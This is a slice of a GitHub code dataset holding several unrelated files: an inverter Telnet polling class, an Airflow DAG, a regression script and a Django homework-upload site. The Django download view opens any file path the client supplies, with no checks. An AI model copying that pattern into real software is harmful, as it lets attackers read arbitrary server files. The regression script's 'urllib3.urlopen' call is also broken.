b\"\\x02\\x04\\x00\\x52\\x00\\x01\\x90\\x28\"\n            # tn.write(send_mess)\n            # raw_data['daily_load_con'] = (tn.read_some().hex())\n            #\n            # # Register:88-0x0058 ===== Daily power intake from grid (2b+)\n            # send_mess = b\"\\x02\\x04\\x00\\x58\\x00\\x01\\xB0\\x2A\"\n            # tn.write(send_mess)\n            # raw_data['daily_P_intake_grid'] = (tn.read_some().hex())\n            #\n            # # Register:90-0x005A ===== Total power intake from grid High (2b+)\n            # # Register:91-0x005B ===== Total power intake from grid Low (2b+)\n            # send_mess = b\"\\x02\\x04\\x00\\x5A\\x00\\x02\\x51\\xEB\"\n            # tn.write(send_mess)\n            # raw_data['total_P_intake_grid'] = (tn.read_some().hex())\n            #\n            # # Register:94-0x005E ===== Daily power fed to grid\n            # send_mess = b\"\\x02\\x04\\x00\\x5E\\x00\\x01\\x50\\x2B\"\n            # tn.write(send_mess)\n            # raw_data['daily_P_fed_grid'] = (tn.read_some().hex())\n            #\n            # # Register:96-0x0060 ===== Total power fed to grid High (2b+)\n            # # Register:97-0x0061 ===== Total power fed to grid Low (2b+)\n            # send_mess = b\"\\x02\\x04\\x00\\x60\\x00\\x02\\x71\\xE6\"\n            # tn.write(send_mess)\n            # raw_data['total_P_fed_grid'] = (tn.read_some().hex())\n\n            # Register:108-0x006C ===== PV total power (2b+-)\n            send_mess = b\"\\x02\\x04\\x00\\x6C\\x00\\x01\\xF1\\xE4\"\n            tn.write(send_mess)\n            raw_data['PV_total_P'] = (tn.read_some().hex())\n\n            # Register:113-0x0071 ===== Output power (2b+-)\n            send_mess = b\"\\x02\\x04\\x00\\x71\\x00\\x01\\x61\\xE2\"\n            tn.write(send_mess)\n            raw_data['output_P'] = (tn.read_some().hex())\n            #\n            # # Register:166-0x00A6 ===== SOH (2b+)\n            send_mess = b\"\\x02\\x04\\x00\\xA6\\x00\\x01\\xD1\\xDA\"\n            tn.write(send_mess)\n            raw_data['SOH'] = (tn.read_some().hex())\n            #\n            # # Register:176-0x00B0 ===== BMS battery status (1b)\n            # send_mess = b\"\\x02\\x04\\x00\\xB0\\x00\\x01\\x30\\x1E\"\n            # tn.write(send_mess)\n            # raw_data['BMS_batt_status'] = (tn.read_some().hex())\n\n            for k,v in raw_data.items():\n                raw_data[k] = ('0'*((int(v[4:6])*2) - len(v[6:-4]))) + v[6:-4]\n\n            # closed connection\n            tn.close()\n\n            self.getDeviceStatusJson(raw_data)\n            self.printDeviceStatus()\n\n            if getDeviceStatusResult==True:\n                self.set_variable('offline_count', 0)\n            else:\n                self.set_variable('offline_count', self.get_variable('offline_count')+1)\n        except Exception as er:\n            print (er)\n            # self.set_variable('batt_P', (0))\n            # self.set_variable('batt_percen', (0))\n            # self.set_variable('load_act_P', (0))\n            # self.set_variable('PV_total_P', (0))\n            # self.set_variable('output_P', (0))\n            # self.set_variable('SOH', (0))\n            # self.printDeviceStatus()\n\n            print('ERROR: classAPI_Telnet_Inverter failed to getDeviceStatus')\n\n    def getDeviceStatusJson(self, data):\n\n        # conve_json = json.loads(data)\n        # print(\"data: {}\".format(data))\n\n        # self.set_variable('on_off', str(info_on_off[int(data[\"on_off\"], 16)]))\n        # self.set_variable('mode_select', str(info_mode_section[int(data[\"mode_select\"], 16)]))\n        # self.set_variable('max_DC_volt_PV', str(int(data[\"max_DC_volt_PV\"], 16) / 10))\n        # self.set_variable('max_output_P', str(int(data[\"max_output_P\"], 16)))\n        # self.set_variable('volt_ref', str(int(data[\"max_output_P\"], 16)))\n\n        # self.set_variable('PV1_volt', str((((int(data[\"PV1_volt\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        # self.set_variable('PV1_DC_cur', str((((int(data[\"PV1_DC_cur\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        # self.set_variable('output_volt_UV', str(int(data[\"output_volt_UV\"], 16) / 10))\n        # self.set_variable('output_volt_VW', str(int(data[\"output_volt_VW\"], 16) / 10))\n        # self.set_variable('output_volt_WU', str(int(data[\"output_volt_WU\"], 16) / 10))\n        # self.set_variable('output_freq', str(int(data[\"output_freq\"], 16) / 100))\n        # self.set_variable('P_grid_freq', str(int(data[\"P_grid_freq\"], 16) / 100))\n        # self.set_variable('PF_symbol', str(int(data[\"PF_symbol\"], 16)))\n        # self.set_variable('PF', str(int(data[\"PF\"], 16) / 1000))\n\n        # self.set_variable('PV1_P', str(int(data[\"PV1_P\"], 16) / 10))\n        # self.set_variable('load_cur_A', str((((int(data[\"load_cur_A\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        # self.set_variable('load_cur_B', str((((int(data[\"load_cur_B\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        # self.set_variable('load_cur_C', str((((int(data[\"load_cur_C\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        # self.set_variable('PV_daily_P_gen', str(int(data[\"PV_daily_P_gen\"], 16) / 10))\n        # self.set_variable('PV_total_P_gen', str(int(data[\"PV_total_P_gen\"], 16) / 10))\n        # self.set_variable('output_react_P', str((((int(data[\"output_react_P\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        # self.set_variable('daily_load_con', str(int(data[\"daily_load_con\"],16)/10))\n        # self.set_variable('daily_P_intake_grid', str(int(data[\"daily_P_intake_grid\"],16)/10))\n        # self.set_variable('total_P_intake_grid', str(int(data[\"total_P_intake_grid\"],16)/10))\n        # self.set_variable('daily_P_fed_grid', str(int(data[\"daily_P_fed_grid\"],16)/10))\n        # self.set_variable('total_P_fed_grid', str(int(data[\"total_P_fed_grid\"],16)/10))\n\n        self.set_variable('batt_P', str((((int(data[\"batt_P\"], 16) + 0x8000) & 0xFFFF) - 0x8000) / 10))\n        self.set_variable('batt_percen', str(int(data[\"batt_percen\"], 16)))\n        self.set_variable('load_act_P', str(int(data[\"load_act_P\"], 16) / 10))\n        self.set_variable('PV_total_P', str((((int(data[\"PV_total_P\"], 16) + 0x8000) & 0xFFFF) - 0x8000)/10))\n        self.set_variable('output_P', str((((int(data[\"output_P\"], 16) + 0x8000) & 0xFFFF) - 0x8000)/10))\n        self.set_variable('SOH', str(int(data[\"SOH\"],16)))\n        # self.set_variable('BMS_batt_status', str(info_BMS_batt_status[int(data[\"BMS_batt_status\"][:2],16)]))\n\n\n    def printDeviceStatus(self):\n        # now we can access the contents of the JSON like any other Python object\n        print(\" the current status is as follows:\")\n        # print(\" ON/OFF = {}\".format(self.get_variable('on_off')))\n        # print(\" Mode selection = {}\".format(self.get_variable('mode_select')))\n        # print(\" Maximum DC voltage（PV) = {}\".format(self.get_variable('max_DC_volt_PV')))\n        # print(\" Maximum Output power = {}\".format(self.get_variable('max_output_P')))\n        # print(\" Voltage reference = {}\".format(self.get_variable('volt_ref')))\n\n        # print(\" PV1 Voltage = {}\".format(self.get_variable('PV1_volt')))\n        # print(\" PV1 DC current = {}\".format(self.get_variable('PV1_DC_cur')))\n        # print(\" Output voltage UV = {}\".format(self.get_variable('output_volt_UV')))\n        # print(\" Output voltage VW = {}\".format(self.get_variable('output_volt_VW')))\n        # print(\" Output voltage WU = {}\".format(self.get_variable('output_volt_WU')))\n        # print(\" Output frequency = {}\".format(self.get_variable('output_freq')))\n        print(\" Battery power = {}\".format(self.get_variable('batt_P')))\n        # print(\" Power grid frequency = {}\".format(self.get_variable('P_grid_freq')))\n        # print(\" Power factor symbol (screen none) = {}\".format(self.get_variable('PF_symbol')))\n        # print(\" Power factor = {}\".format(self.get_variable('PF')))\n        print(\" Battery percentage = {}\".format(self.get_variable('batt_percen')))\n        print(\" Load active power = {}\".format(self.get_variable('load_act_P')))\n        # print(\" PV1 power = {}\".format(self.get_variable('PV1_P')))\n        # print(\" Load current A = {}\".format(self.get_variable('load_cur_A')))\n        # print(\" Load current B = {}\".format(self.get_variable('load_cur_B')))\n        # print(\" Load current C = {}\".format(self.get_variable('load_cur_C')))\n        # print(\" PV daily power generation = {}\".format(self.get_variable('PV_daily_P_gen')))\n        # print(\" PV total power generation = {}\".format(self.get_variable('PV_total_P_gen')))\n        # print(\" Output reactive power = {}\".format(self.get_variable('output_react_P')))\n        # print(\" Daily load consumption = {}\".format(self.get_variable('daily_load_con')))\n        # print(\" Daily power intake from grid = {}\".format(self.get_variable('daily_P_intake_grid')))\n        # print(\" Total power intake from grid = {}\".format(self.get_variable('total_P_intake_grid')))\n        # print(\" Daily power fed to grid = {}\".format(self.get_variable('daily_P_fed_grid')))\n        # print(\" Total power fed to grid = {}\".format(self.get_variable('total_P_fed_grid')))\n        print(\" PV total power = {}\".format(self.get_variable('PV_total_P')))\n        print(\" Output power = {}\".format(self.get_variable('output_P')))\n        print(\" SOH = {}\".format(self.get_variable('SOH')))\n        # print(\" BMS battery status = {}\".format(self.get_variable('BMS_batt_status')))\n\n    # ----------------------------------------------------------------------\n\n\n# This main method will not be executed when this class is used as a module\ndef main():\n    # -------------Kittchen----------------\n    inverter = API(model='Growatt', api='API3', agent_id='28INVIN202001', types='inverter', ip='192.168.10.11', port=94)\n\n    inverter.getDeviceStatus()\n    # time.sleep(3)\n\n\nif __name__ == \"__main__\": main()\n", "repo_name": "Soulweed/Agent", "sub_path": "InverterTelnetAgent/invertertelnetagent/extension/api.py", "file_name": "api.py", "file_ext": "py", "file_size_in_byte": 17599, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "telnetlib.Telnet", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "4442077119", "text": "import os\r\nfrom airflow import DAG\r\nfrom airflow.operators.python_operator import PythonOperator\r\nfrom datetime import datetime, timedelta\r\n# Importar funciones desde el script de conexión y carga de datos\r\nfrom scripts.conexion_carga_datos_tabla import cargar_datos_pokemon_to_redshift\r\n\r\n# Obtener la ruta del directorio actual\r\ncurrent_dir = os.path.dirname(os.path.abspath(__file__))\r\n\r\ndefault_args = {\r\n    'owner': 'airflow',\r\n    'depends_on_past': False,\r\n    'start_date': datetime(2023, 1, 1),\r\n    'email_on_failure': False,\r\n    'email_on_retry': False,\r\n    'retries': 1,\r\n    'retry_delay': timedelta(minutes=5),\r\n}\r\n\r\ndag = DAG(\r\n    'pokemon_dag',\r\n    default_args=default_args,\r\n    description='DAG para obtener y cargar datos de Pokémon en Redshift',\r\n    schedule_interval=timedelta(days=1),\r\n)\r\n\r\n# Definir tarea para obtener datos de Pokémon\r\ntask_obtener_datos = PythonOperator(\r\n    task_id='obtener_datos_pokemon',\r\n    python_callable=cargar_datos_pokemon_to_redshift,\r\n    provide_context=True,\r\n    op_args=[],  # No necesitas proporcionar conn y cur aquí\r\n    dag=dag,\r\n)", "repo_name": "marquezlucas/de", "sub_path": "proyecto_pokemon/dags/pokemon_dag.py", "file_name": "pokemon_dag.py", "file_ext": "py", "file_size_in_byte": 1106, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 9, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 14, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 18, "usage_type": "call"}, {"api_name": "airflow.DAG", "line_number": 21, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 25, "usage_type": "call"}, {"api_name": "airflow.operators.python_operator.PythonOperator", "line_number": 29, "usage_type": "call"}, {"api_name": "scripts.conexion_carga_datos_tabla.cargar_datos_pokemon_to_redshift", "line_number": 31, "usage_type": "name"}]}
{"seq_id": "41482072476", "text": "from numpy import *\nimport matplotlib.pyplot as plt\nfrom time import sleep\nimport json\nimport urllib3\n\n'''\n读取数据\n'''\ndef loadDataSet(fileName):\n    numFeat = len(open(fileName).readline().split('\\t'))-1\n    dataMat = []\n    labelMat = []\n    fr = open(fileName)\n    for line in fr.readlines():\n        lineArr = []\n        curLine = line.strip().split('\\t')\n        for i in range(numFeat):\n            lineArr.append(float(curLine[i]))\n        dataMat.append(lineArr)\n        labelMat.append(float(curLine[-1]))\n    return dataMat,labelMat\n\n'''\n计算最佳拟合直线\n'''\ndef standRegres(xArr,yArr):\n    xMat = mat(xArr)\n    yMat = mat(yArr).T\n    xTx = xMat.T*xMat\n    if linalg.det(xTx) == 0.0:  # 利用线性代数库计算行列式\n        print(\"这个矩阵是奇异矩阵，不可以求逆\")\n        return\n    ws = xTx.I * (xMat.T*yMat)\n    return ws\n\n'''\n局部加权线性回归\n'''\ndef lwlr(testPoint,xArr,yArr,k=1.0):\n    xMat = mat(xArr)\n    yMat = mat(yArr).T\n    m = shape(xMat)[0]\n    weights = mat(eye((m)))\n    for j in range(m):\n        diffMat = testPoint - xMat[j,:]\n        weights[j,j] = exp(diffMat*diffMat.T/(-2.0*k**2))\n    xTx = xMat.T * (weights * xMat)\n    if linalg.det(xTx) == 0.0:\n        print(\"这个矩阵是奇异矩阵，不能取逆\")\n        return\n    ws = xTx.I * (xMat.T * (weights * yMat))\n    return testPoint * ws\n\ndef lwlrTest(testArr,xArr,yArr,k=1.0):\n    m = shape(testArr)[0]\n    yHat = zeros(m)\n    for i in range(m):\n        yHat[i] = lwlr(testArr[i],xArr,yArr,k)\n    return yHat\n'''\n计算误差\n'''\ndef rssError(yArr,yHatArr):\n    return ((yArr-yHatArr)**2).sum()\n\n'''\n计算回归系数(岭回归)\n'''\ndef ridgeRegres(xMat,yMat,lam=0.2):\n    xTx = xMat.T*xMat\n    denom = xTx + eye(shape(xMat)[1])*lam\n    if linalg.det(denom) == 0.0:\n        print(\"这个矩阵是奇异矩阵，不能取逆\")\n        return\n    ws = denom.I * (xMat.T*yMat)\n    return ws\n\n'''\n用于在一组lambda上测试结果\n'''\ndef ridgeTest(xArr,yArr):\n    xMat = mat(xArr)\n    yMat = mat(yArr).T\n    yMean = mean(yMat,0)\n\n    # 数据标准化\n    yMat = yMat - yMean\n    xMeans = mean(xMat,0)\n    xVar = var(xMat,0)\n    xMat = (xMat - xMeans)/xVar\n\n    numTestPts = 30\n    wMat = zeros((numTestPts,shape(xMat)[1]))\n    for i in range(numTestPts):\n        ws = ridgeRegres(xMat,yMat,exp(i-10))\n        wMat[i,:] = ws.T\n    return wMat\n\n'''\n数据标准化\n'''\ndef regularize(xMat):\n    inMat = xMat.copy()\n    inMeans = mean(inMat,0)   \n    inVar = var(inMat,0)      \n    inMat = (inMat - inMeans)/inVar\n    return inMat\n\n'''\n逐步线性回归\nxArr：样本数据\nxArr：预测变量\neps:迭代需要调整的步长\nnumIt:迭代次数\n'''\ndef stageWise(xArr,yArr,eps=0.01,numIt=100):\n    xMat = mat(xArr)\n    yMat = mat(yArr).T\n    yMean = mean(yMat,0)\n    yMat = yMat - yMean\n    xMat = regularize(xMat)\n    m,n = shape(xMat)\n    returnMat = zeros((numIt,n))\n    ws = zeros((n,1))\n    wsTest = ws.copy()\n    wsMax = ws.copy()\n    for i in range(numIt):\n        print(ws.T)\n        lowestError = inf\n        for j in range(n):\n            for sign in [-1,1]:\n                wsTest = ws.copy()\n                wsTest[j] += eps*sign\n                yTest = xMat*wsTest\n                rssE = rssError(yMat.A,yTest.A)\n                if rssE < lowestError:\n                    lowestError = rssE\n                    wsMax = wsTest\n        ws = wsMax.copy()\n        returnMat[i,:] = ws.T\n    return returnMat \n\n'''\n购物信息获取\n'''\ndef searchForSet(retX,retY,setNum,yr,numPce,origPrc):\n    sleep(10)\n    myAPIstr = 'get from code.google.com'\n    searchURL = 'https://www.googleapis.com/shopping/search/v1/public/products?key=%s&country=US&q=lego+%d&alt=json' % (myAPIstr,setNum)\n    pg = urllib3.urlopen(searchURL)\n    retDict = json.loads(pg.read())\n    for i in range(len(retDict['items'])):\n        try:\n            currItem = retDict['items'][i]\n            if currItem['product']['condition'] == 'new':\n                newFlag = 1\n            else:\n                newFlag = 0\n            listOfInv = currItem['product']['inventories']\n            for item in listOfInv:\n                sellingPrice = item['price']\n                if sellingPrice > origPrc * 0.5:\n                    print(\"%d\\t%d\\t%d\\t%f\\t%f\" % (yr,numPce,newFlag,origPrc,sellingPrice))\n                    retX.append([yr,numPce,newFlag,origPrc])\n                    retY.append(sellingPrice)\n        except:\n            print(\"problem with item %d\" % i)\n\ndef setDataCollect(retX,retY):\n    searchForSet(retX,retY,8288,2006,800,49.99)\n    searchForSet(retX,retY,10030,2002,3096,269.99)\n    searchForSet(retX,retY,10179,2007,5195,499.99)\n    searchForSet(retX,retY,10181,2007,3428,199.99)\n    searchForSet(retX,retY,10189,2008,5922,299.99)\n    searchForSet(retX,retY,10196,2009,3263,249.99)\n\n'''\n交叉验证岭回归\nnumVal：交叉验证次数\n'''\ndef crossValidation(xArr,yArr,numVal=10):\n    m = len(yArr)\n    indexList = range(m)\n    errorMat = zeros((numVal,30))\n    for i in range(numVal):\n        trainX = []\n        trainY = []\n        testX = []\n        testY = []\n        random.shuffle(indexList)\n        for j in range(m):\n            if j < m*0.9:\n                trainX.append(xArr[indexList[j]])\n                trainY.append(yArr[indexList[j]])\n            else:\n                testX.append(xArr[indexList[j]])\n                testY.append(yArr[indexList[j]])\n        wMat = ridgeTest(trainX,trainY)\n        for k in range(30):\n            matTestX = mat(testX)\n            matTrainX = mat(trainX)\n            meanTrain = mean(matTrainX,0)\n            varTrain = var(matTrainX,0)\n            matTestX = (matTestX-meanTrain)/varTrain\n            yEst = matTestX * mat(wMat[k,:]).T + mean(trainY)\n            errorMat[i,k] = rssError(yEst.T.A,array(testY))\n    meanErrors = mean(errorMat,0)\n    minMean = float(min(meanErrors))\n    bestWeights = wMat[nonzero(meanErrors == minMean)]\n    xMat = mat(xArr)\n    yMat = mat(yArr).T\n    meanX = mean(xMat,0)\n    varX = var(xMat,0)\n\n    # 数据还原\n    unReg = bestWeights/varX\n    print(\"the model from Ridge Regression is:\\n\",unReg)\n    print(\"with constant term:\",-1*sum(multiply(meanX,unReg)) + mean(yMat))\n\n# 测试\n#xArr,yArr=loadDataSet('./data/Ch08/ex0.txt')\n#print(lwlr(xArr[0],xArr,yArr,0.001))\n#yHat = lwlrTest(xArr,xArr,yArr,0.003)\n\n#ws = standRegres(xArr,yArr)\n#xMat = mat(xArr)\n#srtInd = xMat[:,1].argsort(0)\n#xSort=xMat[srtInd][:,0,:]\n#yMat = mat(yArr)\n#yHat = xMat*ws\n#print(corrcoef(yHat.T,yMat))\n#fig = plt.figure()\n#ax = fig.add_subplot(111)\n#ax.plot(xSort[:,1],yHat[srtInd])\n#ax.scatter(xMat[:,1].flatten().A[0],mat(yArr).T.flatten().A[0],s=2,c='red')\n#plt.show()\n\n\nabX,abY = loadDataSet('./data/Ch08/abalone.txt')\n'''\n# 预测鲍鱼的年龄\nyHat01 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],0.1)\nyHat1 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],1)\nyHat10 = lwlrTest(abX[0:99],abX[0:99],abY[0:99],10)\nprint(rssError(abY[0:99],yHat01.T))\nprint(rssError(abY[0:99],yHat1.T))\nprint(rssError(abY[0:99],yHat10.T))\n# 在新数据集上的表现\nyHat01 = lwlrTest(abX[100:199],abX[0:99],abY[0:99],0.1)\nprint(rssError(abY[100:199],yHat01.T))\nyHat1 = lwlrTest(abX[100:199],abX[0:99],abY[0:99],1)\nprint(rssError(abY[100:199],yHat1.T))\nyHat10 = lwlrTest(abX[100:199],abX[0:99],abY[0:99],10)\nprint(rssError(abY[100:199],yHat10.T))\n# 简单线性回归\nws = standRegres(abX[0:99],abY[0:99])\nyHat = mat(abX[100:199])*ws\nprint(rssError(abY[100:199],yHat.T.A))\n'''\n\n# 岭回归\n#ridgeWeights = ridgeTest(abX,abY)\n#ax.plot(ridgeWeights)\n#plt.show()\n\n# 前向逐步回归\n#print(stageWise(abX,abY,0.01,200))\nxMat = mat(abX)\nyMat = mat(abY).T\nxMat = regularize(xMat)\nyM = mean(yMat,0)\nyMat = yMat - yM\nweights = standRegres(xMat,yMat.T)\nprint(weights.T)", "repo_name": "zrfgit/ML-code", "sub_path": "regression.py", "file_name": "regression.py", "file_ext": "py", "file_size_in_byte": 7732, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "time.sleep", "line_number": 148, "usage_type": "call"}, {"api_name": "urllib3.urlopen", "line_number": 151, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 152, "usage_type": "call"}]}
{"seq_id": "10506830075", "text": "from django.shortcuts import render\nfrom django.db import transaction  # 事务处理的方法\nfrom django.contrib.auth.hashers import make_password, check_password\nfrom django.shortcuts import redirect, HttpResponse\nfrom django.utils.http import urlquote\nfrom django.http import FileResponse\nfrom .models import *\nimport os\nimport json\nimport shutil\nimport time\n\n\nBASE_DIR = os.getcwd()  # 项目根目录\n\n\ndef user_auth(func):\n    \"\"\"用来装饰，在每一个类之上，用于验证用户是否已经登录过，并且还判断用户类型\"\"\"\n\n    def inner(request, *args, **kwargs):\n        try:\n            is_login = request.session.get('is_login')  # 查看登录状态\n            if is_login:\n                return func(request, *args, **kwargs)\n            return redirect('/task/login/')\n        except Exception as er:\n            print(\"用户尚未登录: \", er)\n            return redirect('/task/login/')\n    return inner\n\n\ndef set_user_info(request, username, group):\n    \"\"\"\n    设置登录或者注册用户的信息,username: 用户名,group: 所在班级\n    \"\"\"\n    response = redirect('/task/index/')\n    try:\n        group_obj = Groups.objects.filter(name=group).first()  # 当前用户的班级对象\n        with transaction.atomic():\n            obj = Students.objects.filter(username=username, group_id=group_obj.id).first()  # 当前登录的用户对象\n            request.session[\"group_id\"] = group_obj.id  # 将班级的id存入django_session表\n            request.session[\"user_id\"] = obj.id  # 将当前登录的用户的id存入django_session表\n        request.session[\"is_login\"] = True  # 用户的登录状态\n        return response\n    except Exception as er:\n        print(\"set_user_info出错：\", er)\n        return render(request, 'tasks/login.html', {\"status\": False, \"login_error\": \"服务异常\"})\n\n\ndef get_user_info(request):\n    \"\"\"获取用户的真实姓名,班级名和权限\"\"\"\n    try:\n        user_id = request.session.get('user_id')  # 用户id\n        user_obj = Students.objects.filter(id=user_id).first()  # 用户对象\n        name = user_obj.name  # 用户名\n        # group_id = request.session.get('group_id')  # 用户所在班级的id\n        group_id = user_obj.group_id  # 用户所在班级的id\n        group_obj = Groups.objects.filter(id=group_id).first()  # 用户班级的对象\n        return {\"name\": name, \"group\": group_obj.name, \"permission\": user_obj.permission}\n    except Exception as er:\n        print(\"获取用户真实姓名出错：\", er)\n        return {\"name\": \"路人\", \"group\": \"路人\", \"permission\": 0}\n\n\ndef all_username():\n    \"\"\"获取学生表中所有的学号\"\"\"\n    try:\n        username_obj = Students.objects.all()  # 所有学生的对象列表\n        username = []\n        print(\"所有学生的对象列表是：\", username_obj)\n        if username_obj:\n            for user_obj in username_obj:\n                username.append(user_obj.username)\n            return username\n        return None\n    except Exception as er:\n        print(\"获取所有账号出错：\", er)\n        return None\n\n\ndef all_group():\n    \"\"\"获取所有班级名\"\"\"\n    try:\n        group_list = Groups.objects.all()\n        if group_list:\n            groups = []  # 所有班级的列表\n            for group in group_list:\n                groups.append(group.name)\n            return groups\n        else:\n            print(\"尚未有任何班级，返回None\")\n            return None\n    except Exception as er:\n        print(\"获取所有班级出错：\", er)\n        return None\n\n\ndef signup_post(request):\n    \"\"\"注册\"\"\"\n    username = request.POST.get('username')  # 用户名（学号）\n    password = request.POST.get('password')  # 密码\n    password = make_password(password)  # 密码加密\n    name = request.POST.get('name')  # 用户真实姓名\n    group = request.POST.get('group')  # 班级\n    try:\n        usernames = all_username()\n\n        group_obj = Groups.objects.filter(name=group).first()\n        print(\"这儿\")\n        if usernames:\n            if username in usernames:\n                print(\"用户名已经存在，不允许重新注册\")\n                data = {\n                    \"status\": False,\n                    \"signup_error\": \"用户名已经存在\"\n                }\n                return render(request, 'tasks/signup.html', data)\n        info = {\n            \"username\": username,\n            \"password\": password,\n            \"name\": name,\n            \"group_id\": group_obj.id\n        }\n        print(info)\n        Students.objects.create(**info)  # 添加\n        response = set_user_info(request, username, group)\n        return response\n    except Exception as er:\n        print(\"注册过程出错：\", er)\n        data = {\n            \"status\": False,\n            \"signup_error\": \"信息填写有误，请仔细检查\"\n        }\n        return render(request, 'tasks/signup.html', data)\n\n\ndef login_post(request):\n    \"\"\"登录\"\"\"\n    username = request.POST.get('username')  # 学号\n    password = request.POST.get('password')  # 密码\n    group = request.POST.get('group')  # 班级\n    print(\"登录用户的信息：\", username, make_password(password), group)\n    try:\n        group_obj = Groups.objects.filter(name=group).first()\n        group_id = group_obj.id  # 班级的id\n        obj = Students.objects.filter(username=username, group_id=group_id).first()\n        if obj and check_password(password, obj.password):\n            print(\"用户信息正确，可以登陆\")\n            response = set_user_info(request, username, group)\n            return response\n        else:\n            print(\"用户名或密码错误\")\n            data = {\n                \"status\": False,\n                \"login_error\": \"用户名或密码错误\",\n                \"groups\": all_group()\n            }\n            return render(request, 'tasks/login.html', data)\n    except Exception as er:\n        print(\"登录时获取学生表出错：\", er)\n        data = {\n            \"status\": False,\n            \"login_error\": \"服务异常,请稍后再试\",\n            \"groups\": all_group()\n        }\n        return render(request, 'tasks/login.html', data)\n\n\ndef index_get(request):\n    user_info = get_user_info(request)\n    group_id = request.session.get('group_id')\n    tests = Tests.objects.filter(group_id=group_id)\n    data = {\n        \"status\": True,\n        \"name\": user_info.get(\"name\"),  # 真实姓名\n        \"group\": user_info.get(\"group\"),  # 班级\n        \"tests\": tests,\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    # print(data)\n    return render(request, 'tasks/index.html', data)\n\n\ndef uploaded_get(request):\n    \"\"\"用户请求个人已经提交过的所有作业页面\"\"\"\n    user_info = get_user_info(request)\n    data = {\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    user_id = request.session.get('user_id')  # 当前登录的用户的id\n    tasks = StuTest.objects.filter(stu_id=user_id)  # 当前登录的用户提交的所有作业\n    data[\"status\"] = True\n    data[\"tasks\"] = tasks\n    return render(request, 'tasks/uploaded.html', data)\n\n\ndef uploaded_post(request):\n    \"\"\"用户要删除已提交的某个作业，只能删除数据库和media路径下的，不能删除tests_zip下的文件\"\"\"\n    command = request.POST.get('command')\n    if command:\n        print(\"用户是要删除作业\")\n        try:\n            test_id = int(request.POST.get('id'))  # 作业id\n            test_obj = StuTest.objects.filter(id=test_id)  # 作业对象，现在还是一个列表\n            test = test_obj.first()  # 该作业的对象，不是一个列表\n            test_path = test.path  # 要删除的该作业保存的路径\n            print(\"删除的作业目录是：\", test_path, \"id是：\", test_id)\n            if os.path.isfile(test_path):\n                os.remove(test_path)  # 删除作业\n                test.delete()  # 删除数据库中的内容\n            data = {\n                \"status\": True,\n                \"success\": \"删除作业成功\"\n            }\n            return HttpResponse(json.dumps(data))\n        except Exception as er:\n            data = {\n                \"status\": False,\n                \"error\": \"删除作业失败, 因为\".format(er)\n            }\n            return HttpResponse(json.dumps(data))\n    else:\n        # 用户是要查看某个作业，也就是要下载。\n        # 这个地方前端最好传过来的是path，这样就可以不用在后端构造文件的路径了，不过那样的话，文件路径就会暴露在前端，不安全。所以暂时就用构造这种方法\n        test_path = request.POST.get('test')\n        test_name = os.path.basename(test_path)  # 获取到文件名，包括扩展名\n        try:\n            file = open(test_path, 'rb')\n            print(\"打开文件：\", test_path)\n            response = FileResponse(file)\n            response['Content-Type'] = 'application/octet-stream'\n            response['Content-Disposition'] = 'attachment;filename={0}'.format(urlquote(test_name))\n            return response\n        except Exception as er:\n            print(\"下载作业出错：\", er)\n            return HttpResponse('文件下载失败,原因是：{}'.format(er))\n\n\ndef upload_get(request):\n    user_info = get_user_info(request)\n    data = {\n        \"status\": True,\n        \"name\": user_info.get('name'),\n        \"group\": user_info.get('group'),\n        \"permission\": user_info.get('permission')  # 用户权限\n    }\n    return render(request, 'tasks/upload.html', data)\n\n\ndef upload_post(request):\n    \"\"\"上传作业\"\"\"\n    print(\"*******上传作业********\")\n    file_obj = request.FILES.get(\"avatar\")\n    user_id = request.session.get('user_id')  # 用户id\n    user = Students.objects.filter(id=user_id).first()\n    user_info = get_user_info(request)  # 用户信息，包括姓名和班级\n    group = user_info.get('group', \"\")\n    print(file_obj.name)\n    group_path = os.path.join(BASE_DIR, 'media/' + group)  # 用户的班级的目录\n    tests = os.listdir(group_path)  # 得到该班级下的所有作业，type->list,也就是用户要提交作业要存放的目录\n    student_obj = Students.objects.filter(id=user_id).first()  # 该登录用户的对象\n    try:\n        stu_num = student_obj.username  # 登录用户的学号，用户只能提交自己的作业，以免有人讲文件名修改为别人的，会覆盖别人的作业，所以作业名中一定要包含自己的学号\n    except Exception as er:\n        print(\"学生对象获取失败：\", er)\n        stu_num = None\n    for test in tests:\n        if test in file_obj.name and stu_num in file_obj.name:\n            \"\"\"作业名和当前用户的学号在文件名中，允许提交\"\"\"\n            try:\n                test_obj = Tests.objects.filter(name=test).first()  # 当前提交的作业的对象\n                test_id = test_obj.id  # 作业id\n                print(\"目录'{}'包含在作业'{}'中\".format(test, file_obj.name))\n                # filename = str(hash(group+file_obj.name+str(time.time)))  # 存储在目录中的文件名用hash表示，以免文件名重复\n                upload_to = os.path.join(group_path, test, file_obj.name)  # 作业保存目录是作业所在的目录+文件名\n                print(\"作业保存目录是:\", upload_to)\n                old_test = StuTest.objects.filter(stu_id=user_id, test_id=test_id)  # 该学生提交的该作业对象\n                count = 1  # 作业提交的次数，默认为1，如果用户是第一次提交该作业，那么次数就从1开始，如果不是，那么就先获取之前提交的count数，再加1\n                if old_test:\n                    